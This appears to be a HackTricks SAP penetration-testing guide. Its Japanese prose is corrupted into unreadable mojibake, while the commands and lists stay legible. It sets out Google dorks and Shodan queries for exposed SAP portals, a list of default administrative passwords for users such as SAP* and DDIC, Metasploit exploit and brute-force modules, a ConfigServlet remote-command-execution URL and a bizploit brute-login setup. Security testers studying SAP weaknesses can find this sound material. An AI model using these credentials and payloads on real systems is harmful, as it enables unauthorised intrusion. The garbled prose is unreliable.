Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
SAPã«ã€ããŠã®ç޹ä»
SAPã¯ããŒã¿åŠçã«ãããã·ã¹ãã ã¢ããªã±ãŒã·ã§ã³ããã³è£œåãæå³ããŸããå®çŸ©äžãSAPã¯ERPïŒãšã³ã¿ãŒãã©ã€ãºãªãœãŒã¹ãã©ã³ãã³ã°ïŒãœãããŠã§ã¢ã®ååã§ããããäŒç€Ÿã®ååã§ããããŸãã SAPã·ã¹ãã ã¯ãããžãã¹ãããžã¡ã³ãã®ã»ãŒãã¹ãŠã®åŽé¢ãã«ããŒããå®å šã«çµ±åãããã¢ãžã¥ãŒã«ã®æ°ã§æ§æãããŠããŸãã
åSAPã€ã³ã¹ã¿ã³ã¹ïŒãŸãã¯SIDïŒã¯ãããŒã¿ããŒã¹ãã¢ããªã±ãŒã·ã§ã³ããã¬ãŒã³ããŒã·ã§ã³ã®3å±€ã§æ§æãããŠãããåã©ã³ãã¹ã±ãŒãã¯éåžžãdevãtestãQAãproductionã®4ã€ã®ã€ã³ã¹ã¿ã³ã¹ã§æ§æãããŠããŸãã åå±€ã¯ããçšåºŠãŸã§æªçšå¯èœã§ãããæã广çãªã®ã¯ããŒã¿ããŒã¹ãæ»æããããšã§ãã
åSAPã€ã³ã¹ã¿ã³ã¹ã¯ã¯ã©ã€ã¢ã³ãã«åãããŠããŸããããããã«ã¯ãŠãŒã¶ãŒSAP*ããããã¢ããªã±ãŒã·ã§ã³ã®ãrootãã«çžåœããŸãã åæäœææããã®ãŠãŒã¶ãŒSAP*ã«ã¯ããã©ã«ãã®ãã¹ã¯ãŒãã060719992ããèšå®ãããŸãïŒä»¥äžã«ä»ã®ããã©ã«ããã¹ã¯ãŒãããããŸãïŒã ãã¹ããéçºç°å¢ã§ãããã®ãã¹ã¯ãŒãã倿Žãããªãããšãã©ãã»ã©å€ãããç¥ã£ããé©ãã§ãããïŒ
ãŠãŒã¶ãŒå
çºèŠ
次ã®ã»ã¯ã·ã§ã³ã¯ããŠãŒã¶ãŒshipcod3ã®https://github.com/shipcod3/mySapAdventuresããã®ãã®ãäž»ã§ãïŒ
- ãã¹ãã®ããã«ã¢ããªã±ãŒã·ã§ã³ã¹ã³ãŒããŸãã¯ããã°ã©ã ããªãŒãã確èªããŠãã ãããSAP GUIã«æ¥ç¶ããããã®ãã¹ãåãã·ã¹ãã ã€ã³ã¹ã¿ã³ã¹ã«æ³šæããŠãã ããã
- OSINTïŒãªãŒãã³ãœãŒã¹ã€ã³ããªãžã§ã³ã¹ïŒãShodanãGoogle Dorksã䜿çšããŠãã¢ããªã±ãŒã·ã§ã³ãã€ã³ã¿ãŒãããã«æ¥ç¶ãããŠããå Žåãå ¬éãããŠããå Žåã¯ããã¡ã€ã«ããµããã¡ã€ã³ãéèŠãªæ å ±ã確èªããŠãã ããã
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
- ããã« http://SAP:50000/irj/portal ã®å€èгããããŸã

- nmapã䜿çšããŠãªãŒãã³ããŒããšæ¢ç¥ã®ãµãŒãã¹ïŒsapã«ãŒã¿ãŒãwebdnyproããŠã§ããµãŒãã¹ããŠã§ããµãŒããŒãªã©ïŒã確èªããŸãã
- ãŠã§ããµãŒããŒã皌åããŠããå Žåã¯ãURLãã¯ããŒã«ããŸãã
- ç¹å®ã®ããŒãã«ãŠã§ããµãŒããŒãããå Žåã¯ããã£ã¬ã¯ããªããã¡ãºããŸãïŒBurp Intruderã䜿çšã§ããŸãïŒãããã©ã«ãã®SAP ICMãã¹ããã®ä»ã®è峿·±ããã£ã¬ã¯ããªããã¡ã€ã«ãèŠã€ããããã«ãSecListsãããžã§ã¯ããæäŸããè¯ãã¯ãŒããªã¹ãããããŸãïŒ
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt
- SAPã€ã³ã¹ã¿ã³ã¹/ãµãŒãã¹/ã³ã³ããŒãã³ããåæããããã«ãSAP SERVICE DISCOVERYè£å©Metasploitã¢ãžã¥ãŒã«ã䜿çšããŸãïŒ
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
åãã¯ã©ã€ã¢ã³ã / SAP GUIã®ãã¹ã
SAP GUIã«æ¥ç¶ããããã®ã³ãã³ãã¯æ¬¡ã®ãšããã§ã
sapgui <sap server hostname> <system number>
- ããã©ã«ãã®è³æ Œæ å ±ã確èªãã (Bugcrowdã®è匱æ§è©äŸ¡å顿³ã§ã¯ãããã¯P1 -> ãµãŒããŒã»ãã¥ãªãã£ã®èª€èšå® | ããã©ã«ãã®è³æ Œæ å ±ã®äœ¿çš | æ¬çªãµãŒããŒ) ãšèŠãªãããŸã:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
- Wiresharkãå®è¡ããååŸããè³æ Œæ å ±ã䜿çšããŠã¯ã©ã€ã¢ã³ãïŒSAP GUIïŒã«èªèšŒããŸããããã€ãã®ã¯ã©ã€ã¢ã³ãã¯SSLãªãã§è³æ Œæ å ±ãéä¿¡ããŸããSAP DIAGãããã³ã«ã§äœ¿çšãããäž»èŠãªããããŒãè§£æã§ããWiresharkçšã®2ã€ã®æ¢ç¥ã®ãã©ã°ã€ã³ããããŸãïŒSecureAuth Labs SAPè§£æãã©ã°ã€ã³ãšPositive Research Centerã®SAP DIAGãã©ã°ã€ã³ã
- äœæš©éãŠãŒã¶ãŒã®ããã«ããã€ãã®SAPãã©ã³ã¶ã¯ã·ã§ã³ã³ãŒãïŒtcodesïŒã䜿çšããŠç¹æš©ææ Œã確èªããŸãïŒ
- SU01 - ãŠãŒã¶ãŒã®äœæãšç¶æ
- SU01D - ãŠãŒã¶ãŒã®è¡šç€º
- SU10 - 倧éã¡ã³ããã³ã¹
- SU02 - ãããã¡ã€ã«ã®æåäœæ
- SM19 - ã»ãã¥ãªãã£ç£æ» - æ§æ
- SE84 - SAP R/3èªå¯ã®æ å ±ã·ã¹ãã
- ã¯ã©ã€ã¢ã³ãã§ã·ã¹ãã ã³ãã³ããå®è¡ããããã¹ã¯ãªãããå®è¡ã§ããã確èªããŸãã
- BAPI Explorerã§XSSãã§ããã確èªããŸãã
ãŠã§ãã€ã³ã¿ãŒãã§ãŒã¹ã®ãã¹ã
- URLãã¯ããŒã«ããŸãïŒçºèŠãã§ãŒãºãåç §ïŒã
- çºèŠãã§ãŒãºã®ããã«URLããã¡ãºããŸãã以äžã¯http://SAP:50000/index.htmlã®å€èгã§ãïŒ

- äžè¬çãªãŠã§ãè匱æ§ïŒOWASP Top 10ãåç §ïŒãæ¢ããŸããããã€ãã®å Žæã«ã¯XSSãRCEãXXEãªã©ã®è匱æ§ããããŸãã
- Jason Haddixã®âThe Bug Hunters Methodologyâãåç §ããŠãŠã§ãè匱æ§ããã¹ãããŸãã
- åè©æ¹ããã«ããèªèšŒãã€ãã¹ïŒ ãããããŸãã :)
http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#ãéãããéžæããã¿ã³ãæŒããéãããŠã£ã³ããŠã§ãæ€çŽ¢ããæŒããŸããSAPãŠãŒã¶ãŒã®ãªã¹ãã衚瀺ãããã¯ãã§ãïŒè匱æ§åç §ïŒERPSCAN-16-010ïŒ- è³æ Œæ å ±ã¯HTTPçµç±ã§éä¿¡ãããŠããŸããïŒ ããã§ããã°ãBugcrowdã®è匱æ§è©äŸ¡åé¡ã«åºã¥ããŠP3ãšèŠãªãããŸãïŒå£ããèªèšŒãšã»ãã·ã§ã³ç®¡ç | HTTPçµç±ã®åŒ±ããã°ã€ã³æ©èœããã³ãïŒhttp://SAP:50000/startPageããã°ã€ã³ããŒã¿ã«ã確èªããŠãã ãã :)

- ãã£ã¬ã¯ããªãªã¹ããŸãã¯èªèšŒãã€ãã¹ã®å¯èœæ§ã®ããã«
/irj/go/km/navigation/ã詊ããŠãã ããã - http://SAP/sap/public/infoã«ã¯ããã€ãã®éèŠãªæ å ±ãå«ãŸããŠããŸãïŒ
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
èšå®ãã©ã¡ãŒã¿
ãã³ãã¹ãäžã«æ£ãããã°ã€ã³æ å ±ãããå ŽåããŸãã¯åºæ¬çãªè³æ Œæ å ±ã䜿çšããŠSAP GUIã«ãã°ã€ã³ã§ããå Žåããã©ã¡ãŒã¿å€ã確èªã§ããŸããå€ãã®åºæ¬çããã³ã«ã¹ã¿ã èšå®ãã©ã¡ãŒã¿å€ã¯è匱æ§ãšèŠãªãããŸãã
ãã©ã¡ãŒã¿å€ã¯æåããã³èªåã®äž¡æ¹ã§ç¢ºèªã§ããã¹ã¯ãªããïŒäŸïŒSAP Parameter ValidatorïŒã䜿çšããããšãã§ããŸãã
æåãã©ã¡ãŒã¿ãã§ãã¯
ãã©ã³ã¶ã¯ã·ã§ã³ã³ãŒã RSPFPAR ã«ç§»åããããšã§ãããŸããŸãªãã©ã¡ãŒã¿ãç
§äŒãããã®å€ã調ã¹ãããšãã§ããŸãã
以äžã®è¡šã«ã¯ãå®çŸ©ããããã©ã¡ãŒã¿ãšãããããåºå¥ãããæ¡ä»¶ãå«ãŸããŠããŸãã
ããšãã°ãgw/reg_no_conn_info ã 255 æªæº (<255) ã«èšå®ãããŠããå Žåãããã¯è
åšãšèŠãªãããã¹ãã§ããåæ§ã«ãicm/security_log ã 2 (2) ã«çããå Žåããããå¯èœãªè
åšãšãªããŸãã
| ãã©ã¡ãŒã¿ | å¶çŽ | 説æ |
|---|---|---|
auth/object_disabling_active | Y | ãªããžã§ã¯ãç¡å¹åãã¢ã¯ãã£ããã©ããã瀺ããŸãã |
auth/rfc_authority_check | <2 | RFC ã®æš©éãã§ãã¯ã¬ãã«ãèšå®ããŸãã |
auth/no_check_in_some_cases | Y | äžéšã®ã±ãŒã¹ã§ãã§ãã¯ããã€ãã¹ããããã©ãããæå®ããŸãã |
bdc/bdel_auth_check | FALSE | BDC ã§ã®èªå¯ãã§ãã¯ã匷å¶ããããã©ãããæ±ºå®ããŸãã |
gw/reg_no_conn_info | <255 | ç»é²çªå·æ¥ç¶æ å ±ã®æåæ°ãå¶éããŸãã |
icm/security_log | 2 | ICMïŒã€ã³ã¿ãŒãããéä¿¡ãããŒãžã£ïŒã®ã»ãã¥ãªãã£ãã°ã¬ãã«ãå®çŸ©ããŸãã |
icm/server_port_0 | Display | ICM ã®ãµãŒããŒããŒãïŒããŒã 0ïŒãæå®ããŸãã |
icm/server_port_1 | Display | ICM ã®ãµãŒããŒããŒãïŒããŒã 1ïŒãæå®ããŸãã |
icm/server_port_2 | Display | ICM ã®ãµãŒããŒããŒãïŒããŒã 2ïŒãæå®ããŸãã |
login/password_compliance_to_current_policy | 0 | çŸåšã®ããªã·ãŒã«å¯Ÿãããã¹ã¯ãŒãã®æºæ ã匷å¶ããŸãã |
login/no_automatic_user_sapstar | 0 | èªåãŠãŒã¶ãŒ SAPSTAR å²ãåœãŠãç¡å¹ã«ããŸãã |
login/min_password_specials | 0 | ãã¹ã¯ãŒãã«å¿ èŠãªç¹æ®æåã®æå°æ°ã |
login/min_password_lng | <8 | ãã¹ã¯ãŒãã«å¿ èŠãªæå°é·ã |
login/min_password_lowercase | 0 | ãã¹ã¯ãŒãã«å¿ èŠãªå°æåã®æå°æ°ã |
login/min_password_uppercase | 0 | ãã¹ã¯ãŒãã«å¿ èŠãªå€§æåã®æå°æ°ã |
login/min_password_digits | 0 | ãã¹ã¯ãŒãã«å¿ èŠãªæ°åã®æå°æ°ã |
login/min_password_letters | 1 | ãã¹ã¯ãŒãã«å¿ èŠãªæåã®æå°æ°ã |
login/fails_to_user_lock | <5 | ãŠãŒã¶ãŒã¢ã«ãŠã³ããããã¯ãããåã®å€±æãããã°ã€ã³è©Šè¡ã®æ°ã |
login/password_expiration_time | >90 | ãã¹ã¯ãŒãã®æå¹æéïŒæ¥æ°ïŒã |
login/password_max_idle_initial | <14 | ãã¹ã¯ãŒãã®åå ¥åãå¿ èŠã«ãªããŸã§ã®æå€§ã¢ã€ãã«æéïŒåæïŒã |
login/password_max_idle_productive | <180 | ãã¹ã¯ãŒãã®åå ¥åãå¿ èŠã«ãªããŸã§ã®æå€§ã¢ã€ãã«æéïŒçç£çïŒã |
login/password_downwards_compatibility | 0 | ãã¹ã¯ãŒãã®äžäœäºææ§ãæå¹ãã©ãããæå®ããŸãã |
rfc/reject_expired_passwd | 0 | RFCïŒãªã¢ãŒããã¡ã³ã¯ã·ã§ã³ã³ãŒã«ïŒã«å¯ŸããŠæéåãã®ãã¹ã¯ãŒããæåŠããããã©ãããæ±ºå®ããŸãã |
rsau/enable | 0 | RS AUïŒèªå¯ïŒãã§ãã¯ãæå¹ãŸãã¯ç¡å¹ã«ããŸãã |
rdisp/gui_auto_logout | <5 | GUI ã»ãã·ã§ã³ã®èªåãã°ã¢ãŠããŸã§ã®æéïŒåïŒãæå®ããŸãã |
service/protectedwebmethods | SDEFAULT | ä¿è·ããããŠã§ãã¡ãœããã®ããã©ã«ãèšå®ãæå®ããŸãã |
snc/enable | 0 | ã»ãã¥ã¢ãããã¯ãŒã¯éä¿¡ïŒSNCïŒãæå¹ãŸãã¯ç¡å¹ã«ããŸãã |
ucon/rfc/active | 0 | UCONïŒçµ±äžæ¥ç¶ïŒRFC ãã¢ã¯ãã£ããŸãã¯éã¢ã¯ãã£ãã«ããŸãã |
ãã©ã¡ãŒã¿ãã§ãã¯çšã¹ã¯ãªãã
ãã©ã¡ãŒã¿ã®æ°ãå€ãããããã¹ãŠã .XML ãã¡ã€ã«ã«ãšã¯ã¹ããŒãããã¹ã¯ãªãã SAPPV (SAP Parameter Validator) ã䜿çšããŠãäžèšã®ãã¹ãŠã®ãã©ã¡ãŒã¿ããã§ãã¯ããé©åãªåºå¥ã§ãã®å€ãå°å·ããããšãå¯èœã§ãã
./SAPPV.sh EXPORT.XML
Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
[...]
æ»æïŒ
- Windows 2000ã®ãããªå€ããµãŒããŒãæè¡ã§åäœããŠããã確èªããŸãã
- å¯èœãªãšã¯ã¹ããã€ã/æ»æãèšç»ããŸããSAPãã£ã¹ã«ããªãŒçšã®å€ãã®Metasploitã¢ãžã¥ãŒã«ïŒè£å©ã¢ãžã¥ãŒã«ïŒããšã¯ã¹ããã€ãããããŸãïŒ
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
- ããã€ãã®æ¢ç¥ã®ãšã¯ã¹ããã€ãã䜿çšããŠã¿ãŠãã ããïŒExploit-DBããã§ãã¯ããŠãã ããïŒããSAPããŒã¿ã«ã§ã®å€ããŠè¯ããSAP ConfigServletãªã¢ãŒãã³ãŒãå®è¡ãã®ãããªæ»æã詊ã¿ãŠãã ããïŒ
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

- ãã£ã¹ã«ããªãŒãã§ãŒãºã§bizploitã¹ã¯ãªããã®
startã³ãã³ããå®è¡ããåã«ãè匱æ§è©äŸ¡ã宿œããããã«ä»¥äžã远å ããããšãã§ããŸã:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
ãã®ä»ã®ãã¹ãã«åœ¹ç«ã€ããŒã«
- PowerSAP - SAPã»ãã¥ãªãã£ãè©äŸ¡ããããã®PowershellããŒã«
- Burp Suite - ãã£ã¬ã¯ããªãã¡ãžã³ã°ãšãŠã§ãã»ãã¥ãªãã£è©äŸ¡ã«å¿ é
- pysap - SAPãããã¯ãŒã¯ãããã³ã«ãã±ãããäœæããããã®Pythonã©ã€ãã©ãª
- https://github.com/gelim/nmap-erpscan - nmapãSAP/ERPãæ€åºããã®ãå©ãã
åèæç®
- SAP Penetration Testing Using Metasploit
- https://github.com/davehardy20/SAP-Stuff - Bizploitãåèªååããããã®ã¹ã¯ãªãã
- SAP NetWeaver ABAPã»ãã¥ãªãã£æ§æããŒã3ïŒã¢ããªã±ãŒã·ã§ã³ãžã®ã¢ã¯ã»ã¹ã®ããã®ããã©ã«ããã¹ã¯ãŒã
- SAPã»ãã¥ãªãã£ã«é¢é£ããABAPãã©ã³ã¶ã¯ã·ã§ã³ã³ãŒãã®ãªã¹ã
- SAPããŒã¿ã«ã®ç Žå£
- æãè峿·±ãSAPã®è匱æ§ã𿻿ããã10
- Bizploitã䜿çšããSAPãšã³ã·ã¹ãã ã®ã»ãã¥ãªãã£è©äŸ¡ïŒçºèŠ
- https://www.exploit-db.com/docs/43859
- https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
- https://github.com/shipcod3/mySapAdventures
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
